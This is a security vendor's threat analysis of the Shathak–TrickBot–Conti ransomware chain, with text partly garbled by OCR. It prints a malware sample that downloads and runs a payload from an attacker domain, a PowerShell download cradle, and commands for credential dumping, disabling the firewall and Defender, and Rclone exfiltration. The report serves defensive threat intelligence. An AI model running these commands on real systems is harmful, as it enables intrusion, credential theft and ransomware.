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The Cybereason Global Security Operations Center (GSOC) issues Cybereason Threat Analysis reports to inform on
impacting threats. The Threat Analysis reports investigate these threats and provide practical recommendations for

protecting against them.

In this Threat Analysis report, the GSOC investigates recent attack campaigns that reflect the current developments of the
ITG23 threat group (also known as the TrickBot Gang or Wizard Spider). The ITG23 group is partnering with the TA551
(Shathak) threat group to distribute ITG23’s TrickBot and BazarBackdoor malware, which malicious actors use to deploy

ITG23’s Conti ransomware on compromised systems.
Key Findings

. o Beware of Shathak Emails: In partnership with the ITG23 threat group, the Shathak threat group distributes
ITG23’s TrickBot and BazarBackdoor malware as password-protected archive files attached to phishing
emails. The archive files contain malicious documents whose macros download and execute the TrickBot or
BazarBackdoor malware. Malicious actors actively use this malware to deploy ITG23’s Conti ransomware on
compromised systems.

o Average Two Days Time-to-Ransom (TTR): Conti actors do not deploy ransomware immediately after
initial infection using the TrickBot or BazarBackdoor malware—the actors first conduct other activities, such
as reconnaissance, credential theft, and data exfiltration. We observed an average TTR of approximately two
days after initial infection.

o Detected and Prevented: The Cybereason Defense Platform detects and prevents infections that use the

TrickBot and BazarBackdoor malware that the Shathak threat group distributes, as well as malicious activities
that Conti actors conduct.
o Cybereason Managed Detection and Response (MDR): The Cybereason GSOC has zero tolerance towards

attacks that involve ransomware, such as the Conti ransomware, and categorizes such attacks as critical, high-

severity incidents. The Cybereason GSOC MDR team issues a comprehensive report to customers when such
an incident occurs. The report provides an in-depth overview of the incident, which helps to scope the extent
of compromise and the impact on the customer’s environment. In addition, the report provides attribution

information when possible, as well as recommendations for mitigating and isolating the threat.

Introduction

The threat group TA551, also known as Shathak, is an email-based malware distributor that distributes malware through

phishing emails. Shathak has distributed a variety of malware, predominantly malware with information-stealing

capabilities, such as Ursniff and Valak in 2020, and the IcedID malware after mid-July 2020.

In October 2021, the IBM X-Force reported that the threat group ITG23, also known as the TrickBot Gang or Wizard Spider,
had partnered with Shathak at some time around July 2021 to distribute the TrickBot and the BazarBackdoor (also referred

to as BazarLoader) malware. ITG23 develops and maintains TrickBot and BazarBackdoor. TrickBot and BazarBackdoor can
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deploy additional malware on compromised systems. TrickBot is a feature-rich and modular malware that has been present

on the threat landscape since 2016.

The implementation of TrickBot has evolved over the years, with recent versions of TrickBot implementing malware-
loading capabilities. TrickBot has played a major role in many attack campaigns conducted by different threat actors, from
common cybercriminals to nation-state actors. These campaigns have often involved the deployment of ransomware such as

the Ryuk ransomware.

Since March 2021, malicious actors have been using TrickBot and BazarBackdoor to deploy the Conti ransomware on

compromised systems. The ITG23 threat group originally developed and now maintains the Conti ransomware. ITG23 uses

the ransomware-as-a-service (RaaS)_model, according to which the developers of the ransomware pay the operators of the

ransomware a wage for a successful attack, or a percentage of ransom payments.

Conti actors, or Conti ransomware operators, have proven to be a substantial threat by compromising organizations where IT

outages can have life-threatening consequences, such as hospitals and law enforcement agencies. In September 2021, the US
Cybersecurity and Infrastructure Security Agency (CISA) and the US Federal Bureau of Investigation (FBI) reported that
more than 400 Conti ransomware attacks had taken place on U.S. and international organizations. Conti actors frequently
use a double extortion tactic: if the victim refuses to pay for data decryption, the malicious actor threatens to leak the data or

sell it for profit.

This report discusses recent attack campaigns that reflect the current developments of ITG23 partnering with Shathak to
distribute the TrickBot and BazarBackdoor malware, which malicious actors use to deploy the Conti ransomware on
compromised systems. To this end, the report first provides an overview of a system infection using the TrickBot or
BazarBackdoor malware that the Shathak group distributes, based on recent Shatak malware distribution campaigns that we

analyzed.

The report then discusses Conti actor activities that are common across recent Conti actor attack campaigns that we
analyzed. We focus on activities that Conti actors conduct after establishing a foothold in a system using BazarBackdoor or
TrickBot and before ransomware deployment. A previous report by the Cybereason Nocturnus team documents the

execution of the Conti ransomware.

Analysis of shathak and conti ransomware

A Successful Partnership: Shathak and the TrickBot Gang

The figure below depicts a typical infection using the ITG23’s TrickBot or the BazarBackdoor malware that the Shathak

group distributes:
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A typical infection using the TrickBot or the BazarBackdoor malware

The Shathak group distributes TrickBot and BazarBackdoor through malicious documents, such as Microsoft Word
documents. Shathak stores malicious documents in password-protected archive files and attaches the archive files to

phishing emails. A typical malicious document contains a macro, which a user can execute by opening the document and
enabling macro execution.

The macro drops a Microsoft Hypertext Markup Language (HTML) Applications (HTA) file on the file system and then
executes the file using the mshta.exe Windows utility. Malicious actors use mshta.exe to execute malicious HTA files and

bypass application control solutions that do not account for the malicious use of the Windows utility.

An HTA file that we analyzed, named boxDeling.hta, has two main components: a base-64 encoded code stored in the

<div> section of the boxDeling.hta file with an ID of mainSetDel, and a VBScript script that executes the encoded code:
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A macro in a malicious Microsoft Word document executes an HTA file as seen in the Cybereason Defense Platform

<html>
<body=

Ci conhost exe

QD mshta.exe

\®/ \__/

<div id="mainSetDel'>fX17KWUoaGNBYWNI02Vzb2xjLnN1dH1CeXIhem)pTGIpbDspMiAsImdwaiSk

bk1sZUR4b21cXGNpbGI1cFxcc3Ile3VeXDpjIihlbGimb3R1dmFzLnN 1dH1CeXIhemIpTGIpbDspe
WRYmVzbmGwc 2Vy LmV1bGFWZWNuZX I LZmVyKGY8aXI3LnN LdH LCeXJhem]pTGIpbDsxIDBgZXBSdC
SzZXRS0N1yYX ) iaUxiaWw7bmVwbyS5zZXR50n Ly YR ialx iaWw7KSItYWVydHMuYmRv ZGE iKHR j ZWp
iTlhldm1l@Y@Eqd2VuID@gc2VaellScmFyYmMYmLsIHIhdnt5cnRIKTAWMiAOPSBzdXRhdHMuZXVs
YWZLY25 lemVmZX LoZmk TKShkbmVzLmV1bGFWZWNUZX I 1ZmVy0y L1lc2xhZ iAs TkdoTXAxPX] Lc3UmM
FhOY29IdVR1ITFBINDRsPXFaNUQmekI9ZmVy k1 sNnBOeUN rvX]oNeVod@d LUWVXanFQeDI9ZG1z] )
NmTkx4eXRYODBFS]BtZkROVOVHRNVOCW pMz ImZX ImbUF ThD16RUOMTmozMHM9e j BEqdGF x 1k INRTN
FNVhvUIURPWZ1ciYSQWtFUXZROWpRPWRpcz8y c2VEeXIvNzUXNCE2NTK2Ni18xMGEGRGI1dk@2RTLT
TzFwT@9ne jBhd29tcHMSaxXh1Rkg2dWIZ0GI1IM2FCL2VoN@dSM3Z4NDdPUHA LA LZVYUSLNV1SSF LGh

laial

=

Ly=>

=div id='convertIntegerControl'=ABCOEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz@123456789+/</div=

<script language='javascript'=

function counterW{vbReferenceGlobal)

{

return{new ActiveXObject(vbReferenceGlobal));
}

vl

<fscript=

<script language='vbscript'=

Eégvgznnutnt = CreateObject(convertPointer)
With bConvCnt

. language = "javascript"

.timeout = 6OQBQA

End With
|hCunant.eualtlihListBefure{mainSetDel]}|
End Function

=fscript>

[...]
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The content of boxDeling.hta: base-64 encoded code and a VBScript script that executes the encoded code

The base-64 encoded code is a JavaScript script that the malicious actors have obfuscated by using the string reversal

technique. The JavaScript script conducts the following activities:

. o Contacts the attacker-controlled endpoint airloweryd.com, located in Germany, and downloads the TrickBot
malware in the form of a dynamic-link library (DLL) file. The JavaScript script in other HTA files may
contact a different endpoint and download another malware, such as BazarBackdoor.

o Stores the downloaded DLL file as the boxDellnt.jpg file in the Public directory, such as C:\users\Public\.
o Executes boxDellnt.jpg—the TrickBot malware—using the regsvr32.exe Windows utility. The JavaScript

script executes regsvr32.exe using the WshShell object of the Windows Script Host object model:

A

Je(hctac

+

esolc.setyByrarbilbil;

12, "gpj.dnIleDxobi\\cilbuphisresui\v:c"({elifotevas.setyByrarbilbil;

Jydobesnopser.eulaVecnerefer(etirw.setyByrarbilbil;

1 = epyt.setyByrarbilbil;

nepo.setyByrarbilbil;

J'maerts.bdoda" (tcejbOXevitchA wen = setyByrarbilbil rav {

yrt {
802 == sutats.eulaVecnerefer(fi;
) (dnes.eulaVecnerefer;
Jeslaf, "GhMpl=resu&@XNcoHuTulLPb441=qZ5D&zB=Ffer&M16pPyCkUrh7EhwleQeWjgPx2=dis&3fNLxytX8
QEJOmTDNWEGFUNgii3=Tfer&mAS1=zED&N]30s=20] taq&IME3ESX0SU4=Ter&9AKEQVQ9j0=dis?2semyr/7514
/65966/18nFDbuvMBESS01p00gz0@awomps9ixeFHBubY8ou3aB/eh7GR3vx470Pp5j VUaNKSYyHYF LTH7VE8xT/M
e)sQ46EL61VIt0aWPNNGKS IWDWkIT9wzLOKvghR3ufjg9I/3VhhmH6DHh TMguweGzpl8k/g24gdt9gFV7ILb5d9
vPIBGSLZOrgefpcoHcBETHKEDO 14xx1E/9w8LChEKQHG3KAUeHS sDD6@YWhGMyYbzQcDI /HvDOxI rQNDzuE1Wk]b
V/adda/moc.dyrewolria//:ptth", "TEG"(nepo.eulaVecnerefer;
J"ptthlmx.21lmxsm" {tcejb0XevitcA wen = eulaVecnerefer rav;
)"gpj.dnIleDxob\\cilbup\\sresui\\:c 23rvsger" (nur.ntBtcelloCorez;
)"tcejbometsyselif.gnitpircs" (tcejbOXevitcA wen = niSbil rav;
)" 1lehs.tpircsw" (tcejbOXevitcA wen = ntBtcelloCorez rav
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lvar zerolollectBtn = new hctivexﬂhjectt'wscript.shell'ﬁd
—— - T o = -
zeroCollectBtn. run( ‘' regsvr3? c:\\users\\public\\boxDellInd.jpg");
var referenceValue = new ActiveXObject( 'msxmlZ.xmlhttp’);
[referencevalue.open('GET', ‘http://airloweryd.con/$dda/VbIkW1EUZONOr1x0DVH/ IDCOZbYyMGhNy60DSSHEUAKIGHOKEDCLEWS
fElxx4 LOEKHTES cHocpTeqr@ZLSGRIPvIdSbLI7TVFgOtdgd2g/ kB1pzGewugMThHDEHMhhY3/ 199 fu3RhgvEKAL zwITIkWOWISkGNNPWaOTaVv 16
iEG40s jeM/TxBtVTHLFYHyY5KNaUV j 5pPO74xv3IRGThe /BaduoBYbubHFexi9spmowa@zgO0p 1059E6MvUbDFNB1 /66956/4157/ rymes2?sid=
0jO0v0ERADL re f=4USoXSE3EM]Lqat jR2=sB3 jNEDE2=15AmEre f=3 1 iqNUFGEWND fm@JERBX Ly xLNT3&s id=2xPq jWeleOwhEThrUkCyPpE LML
ref=Bz&05Zq=144bPLuTuHocNXB&user=1pMnG‘, false);
referenceValue,sendl);
if (referenceValue.status == 208) {
try {

var libLibraryBytes = new ActiveXObject{'adodb.stream");

libLibraryBytes.open;

libLibraryBytes, type = 1;

libLibraryBytes, savetofile( 'c:\\usersi\public\\boxDellInd.jpg', 2);

libLibraryBytes.close;
} catch le) {
}

The obfuscated and deobfuscated version of the JavaScript script in boxDeling.hta

In recent Shathak malware distribution campaigns that we analyzed, the attacker-controlled endpoints from which malicious
HTA files downloaded malware were primarily located in European countries, with the Netherlands and Slovakia at the top

of the list.

Malicious actors use the TrickBot or BazarBackdoor malware that the Shathak group distributes to deploy additional
malware, such as the Conti ransomware. In recent Conti actor attacks that we analyzed, we observed that Conti actors do not

deploy ransomware immediately after initial compromise using TrickBot or BazarBackdoor.

The actors first conduct other activities, such as reconnaissance, credential theft, and data exfiltration. We observed an
average TTR of approximately two days after initial infection. The next section discusses Conti actor activities that are
common across recent attack campaigns that we analyzed. We focus on activities that Conti actors conduct after establishing
a foothold in a system by using the BazarBackdoor or TrickBot malware that Shathak distributes and before ransomware

deployment.

Conti Actors Take Over from Shathak: Common Activities

Cobalt Strike Deployment

Conti actors deploy a Cobalt Strike beacon after initial system compromise by using TrickBot or BazarBackdoor. Cobalt
Strike is a common tool of Conti actors for different malicious activities, such as command execution, credential theft, and
lateral movement. Conti actors deploy a Cobalt Strike beacon in the form of a dynamic-link library (DLL) file stored in the
ProgramData directory, such as C:\ProgramData. Conti actors then invoke an exported function of the DLL file, such as

StartW or gimbild, using the rundll32.exe Windows utility:
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"CAWindows\System3 P\ rundli32.exe” "C\programdatal,

DGM.dliI*, gimbild

™~

J %n%SE.exa /(.:)

injected (rundll32.e.__.
ﬂrﬂ SRo

Conti actors execute a Cobalt Strike beacon as seen in the Cybereason Defense Platform

Conti actors establish persistence of the deployed Cobalt Strike beacon by creating a scheduled task using the schtasks
Windows utility. The scheduled task executes the Cobalt Strike beacon by invoking an exported function of the DLL file that
implements the beacon using the rundll32.exe utility. Conti actors deploy Cobalt Strike beacons laterally on other networked

machines by executing the schtasks utility, with the command line parameter /s specifying the target machine:

taskeng exe %

o

rundll32.exe C:\ProgramData\. \sys.dll,StartW

~
rundll32 .exe

©,
(0 ¢ h:

A scheduled task executes a Cobalt Strike beacon as seen in the Cybereason Defense Platform

Reconnaissance

In attack campaigns where a BazarBackdoor infection is the initial entry point into an infrastructure, Conti actors conduct

reconnaissance activities by using BazarBackdoor to execute the following commands:

Command Description

nltest /domain_trusts . L . . . .
Jall Enumerates trust relationships in a Windows Active Directory (AD) environment.
all_trusts

net localgroup o
o Enumerates users that are members of the administrator local group.
administrator

net group "domain Enumerates users that are members of the domain admins group such that the designated

admins" /domain Domain Controller (DC) is conducting the enumeration activity.
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) ) Enumerates all shared computers and resources on the system and all domains in the
net view /all /domain
network.

net view /all Enumerates all shared computers and resources on the system.

In addition to the nltest and net Windows utilities, Conti actors use publicly available network scanning tools for

reconnaissance, such as the Advanced IP Scanner and NetScan tools:

C:\Windows\system32\cmid.exe /C dir \\

C:\Windows\system32\cmd.exe /C net group "domain Admins™
fdommain
cmd.exe

CAWindows\systern32\cmd exe /C netscan.exe fhide fauto"
xmi” feonfignetscan.xmi /ile-range b

netscan.exe [hide fautoc” xmi” feonfignetscanxml /filera

C." rgtscan.exe ngeod

Conti actors conduct reconnaissance activities using net and NetScan s seen in the Cybereason Defense Platform

In addition to the nltest and net utilities, Conti actors use the AdFind tool to explore AD environments in greater detail.

Conti actors typically execute AdFind stored in a Windows Batch file (.bat) that is placed on the file system:

u crmd. axe

r’f adfind.exa

adfind.exe -f "objectcategory=computer"

adfind.exe -Wﬁ

adfind.exe =f "(objectcategory=organizationalUnit)™

r'f- adfind.exa

adfind.exe -subnets -t “l(objectlategory=subnet}”

adfind.exe

adfind.exe -T "(objectcategory=group)"

adfind.exe

adfind.exe =gcb =s5¢ trustdmp
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Conti actors execute AdFind commands as seen in the Cybereason Platform
Credential and Data Theft

Conti actors steal credentials by dumping the memory of the Local Security Authority Subsystem Service (Isass) process.
Conti actors download PowerShell payload from an attacker-controlled endpoint, such as

httpx://datasecuritytoday|.]Jcom::757/securiday, which dumps credentials from Isass:

\ powershell.exe -nop -w hidden -¢ "IEX {{(new-object net.webclien
cmd exe e 1).downloadstring(https://datasecuritytoday. com:757 /securid
J ay]))

{B gw&rshell.exe >

— ~N
injected (powershe...
({20 ® P

Conti actors download payload from httpx://datasecuritytoday[.]Jcom::757/securiday as seen in the Cybereason Defense

Platform

In addition to credentials present in the memory of Isass instances, Conti actors steal AD data and credentials that are stored
in ntds.dit files by copying these files. The ntds.dit files are database files that are present on AD DCs, and these files store
AD data, such as password hashes and information about AD user objects, groups, and group memberships. Conti actors

copy ntds.dit files into the C:\Windows\Temp\crashpad directory by using the ntdsutil tool:
ntdsutil “ac i ntds” “ifm” “create full c:\windows\temp\crashpad” q q

In addition to ntdsutil, Conti actors use the NtdsAudit tool to dump AD domain user details and password hashes from

previously copied ntds.dit files:
ntdsAudit.exe ntds.dit -s SYSTEM -p pwddump.txt -u users.csv

On machines running Microsoft Structured Query Language (SQL) database servers, Conti actors dump data databases by
using the sqlcmd utility. The sqlcmd commands that the actors execute follow the guidelines for dumping data from

databases in the publicly disclosed manuals of the Conti Ransomware Affiliate Program:
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sqlemd -S localhost -E -Q "SELECT d.name, ROUND(SUM(mf.siz
€) * 8 / 1024, 0) FROM sys.master_files mf INNER JOIN
sys.databases d ON d.database_id = mf.database_id WHERE
d.database_id > 4 GROUP BY d.name ORDER BY d.name;"

cmd.exe \(\E) sglemd -S localhost -E -Q "SELECT name FROM master.dbo.s

ysdatabases;"

sqglemd -S localhost -E -Q "USE SELECT TOP 100
s.Name AS SchemaName, t Name AS TableMame, p.rows AS
RowCounts, CAST(ROUND((SUM(a.total_pages) / 128.00), 2) AS
NUMERIC(36, 2)) AS Total_MB FROM sys.tables t INNER JOIN
sys.indexes i ON £ OBJECT_ID = i.object_id INNER JOIN
sys.partitions p ON i.object_id = p.OBJECT_ID AND i.index_id =
p.index_id INNER JOIN sys.allocation_units a ON p.partition_id =
a.container_id INNER JOIN sys_schemas s ON t.schema_id =
s.schema_id GROUP BY t.Name, s.Name, p.Rows ORD

sglcmd.exe

Conti actors dump data from a database as seen in the Cybereason Defense Platform
Lateral Movement

Conti actors move laterally to Windows Server instances primarily by using the Remote Desktop Protocol (RDP). Conti
actors enable RDP connectivity if necessary on compromised machines by creating and setting the following registry value

to 0:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections
Conti actors then use the netsh utility to modify Windows Firewall rules:

netsh advfirewall set allprofiles state off

—»

netsh advfirewall firewall set rule group="remote desktop” new enable=Yes

netsh firewall set service type = remotedesktop mode = enable

In addition to establishing RDP connections, Conti actors deploy Cobalt Strike beacons laterally on networked machines by
executing the schtasks utility, with the command line parameter /s specifying the target machine. Conti actors also disable
the real-time monitoring feature of the Windows Defender security solution laterally on networked machines by executing

the PowerShell command Set-MpPreference -DisableRealTimeMonitoring $true.

Conti actors execute the PowerShell command laterally by using the schtasks utility and the Windows Management

Instrumentation (WMI) command-line utility (WMIC) with the node WMIC parameter specifying the target machine:
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conhost exe

rinc [

ping.exe

SCHTASKS /= JRU"SYSTEM" fcreate fin *
" fir "powershell.exe Set-MpPreference -DisableResaltime
Monitoring Strue” fec ONCE f=d 01/01,/1910 /st 00:00

schtasks. exe

wimic /node: process call create "powershellexe
Set-MpPreference -DisableRealtimelMonitoring $true”

; wmic.exe

Conti actors laterally disable the real-time monitoring feature of Windows Defender as seen in the Cybereason Defense

Platform
Data Exfiltration

Conti actors typically exfiltrate data before deploying the Conti ransomware. The exfiltrated data contains stolen credentials
and other data, including potentially sensitive data that the actors can use for extortion. To exfiltrate data to a remote

endpoint, Conti actors use the Rclone tool, whose executable name the actors typically change to evade detection. In the

Conti actor campaigns that we analyzed, the actors have changed the executable name of Rclone to sihosts.exe and

serhosts.exe:

N sihosts copy ™\ s "q
B cmd.exe —ignore-existing —auto-confirm —multi-thread-streams 20 —
@ transfers 20 —min-size 1k —max-age 36M —include-from include-

_/ filetxt

sihosts.exe

C @ W

Conti actors execute Rclone (executable name changed to sihosts.exe) to exfiltrate data as seen in the Cybereason Defense

Platform

Detection and Prevention

The Cybereason Defense Platform

The Cybereason Defense Platform detects threats using multi-layer protection that detects and blocks malicious activities

with threat intelligence, machine learning, and next-generation antivirus (NGAV) capabilities. The Cybereason Platform is
able to detect and prevent infections that use the TrickBot and BazarBackdoor malware that the Shathak threat group

distributes, as well as malicious activities that Conti actors conduct. For example, the Cybereason Platform detects:

. o Users opening malicious email attachments distributed by the Shathak group
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X Malops (1)

Tvpe Root cause

Malicious process

D 2 files >

® Process opened a malicious file

@ Suspicions (1)

T1193 - Spearphishing Attachment : Malicious opened files suspicionsVv

The Cybereason Defense Platform detects users opening malicious email attachments

. o Conti actors deploying a Cobalt Strike beacon

1 Malops (1)

L
(41

(]
(1]
L

Malicious process
rundll32.exe

2 Process has loaded Cobalt Strike Beacon
The Cybereason Defense Platform detects the deployment of Cobalt Strike beacons
. o Conti actors stealing credentials by dumping the memory of the Isass process
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® 9

( Q injected (powershe._. Isass.exe)
£

G |sass.exe

o) CRORS

NG 4

T1214 - Credentials in Registry : Audit object access SAM key evidences

The Cybereason Defense Platform detects the dumping of Isass memory

. o Conti actors exfiltrating data using the Rclone tool

T1043 - Commenly Used Port : Has Absolute High Volume External s
Outgoing Connection
T1048 - Exfiliration Over Alternative Protocol, T1105 - Remote File Copy:

FTP communication

serhosts.exe sihosts.exe

C U= C @05

» Connection « Connection

— ) = 7 - 16386 connections
= 263 connections
. . = 5- 16384 external connections
= 180 external connections
oG = 26 internal connections
= outgoing connections

going % 7-16386 outgoing connections

= 33 high volume external connections % 866 high volume external connections

E??_“ - 110946
26 GB 719 GB
12 MB 5GB

The Cybereason Defense Platform detects data exfiltration activities
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Conti actors executing the Conti ransomware

General Recommendations

Securely handle email messages that originate from external sources. This includes disabling hyperlinks and
investigating the content of email messages to identify phishing attempts.

Enable the Anti-Ransomware feature in Cybereason NGAV and set the Anti-Ransomware protection mode to

Prevent.

Enable the Anti-Malware feature in Cybereason NGAV and enable the Detect and Prevent modes of this

feature.

Disable unused RDP services, properly secure used RDP services, and regularly monitor RDP log data for
irregular activities.

Regularly backup files to a secured remote location and implement a data recovery plan. Regular data backups
ensure that you can restore your data after a ransomware attack.

Use secure passwords, regularly rotate passwords, and use multi-factor authentication where possible.

Cybereason is dedicated to teaming with defenders to end cyber attacks from endpoints to the enterprise to everywhere—

including modern ransomware. Schedule a demo today to learn how your organization can benefit from an gperation-centric

approach to security.

MITRE ATT&CK Techniques

. . . Defense Credential i Lateral . .
Initial Access ~ Execution Persistence . Discovery Exfiltration
Evasion Access Movement
Signed 0os Remote
Scheduled Exfiltration
Phishing; User Binary Credential Services:
Task/Job: Account Over
Spearphishing ~ Execution: Proxy Dumping: ] Remote )
Scheduled Discovery, Alternative
Attachment Malicious File Execution: = LSASS Desktop
Task Protocol
Mshta Memory Protocol
olgned
0Os
Scheduled Binary Domain
Credential
Task/Job: Proxy ] Trust
Scheduled Task E i Dumping: Di
cheduled Tas xecution: iscovery
NTDS ’
Regsvr32
Signed
Windows Binary Network
Management Proxy Service
Instrumentation Execution: Scanning
RundlI32
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